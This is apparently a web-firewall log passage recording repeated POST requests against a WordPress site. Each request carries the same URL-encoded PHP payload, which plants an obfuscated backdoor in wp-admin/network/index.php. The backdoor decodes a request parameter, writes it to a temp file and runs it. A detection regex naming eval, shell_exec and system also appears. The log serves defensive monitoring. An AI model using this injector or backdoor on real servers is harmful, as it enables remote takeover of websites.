Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:4087\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:33","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:4087\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nVz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:35","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4087\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLybvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nbZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:36","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4087\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nNR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%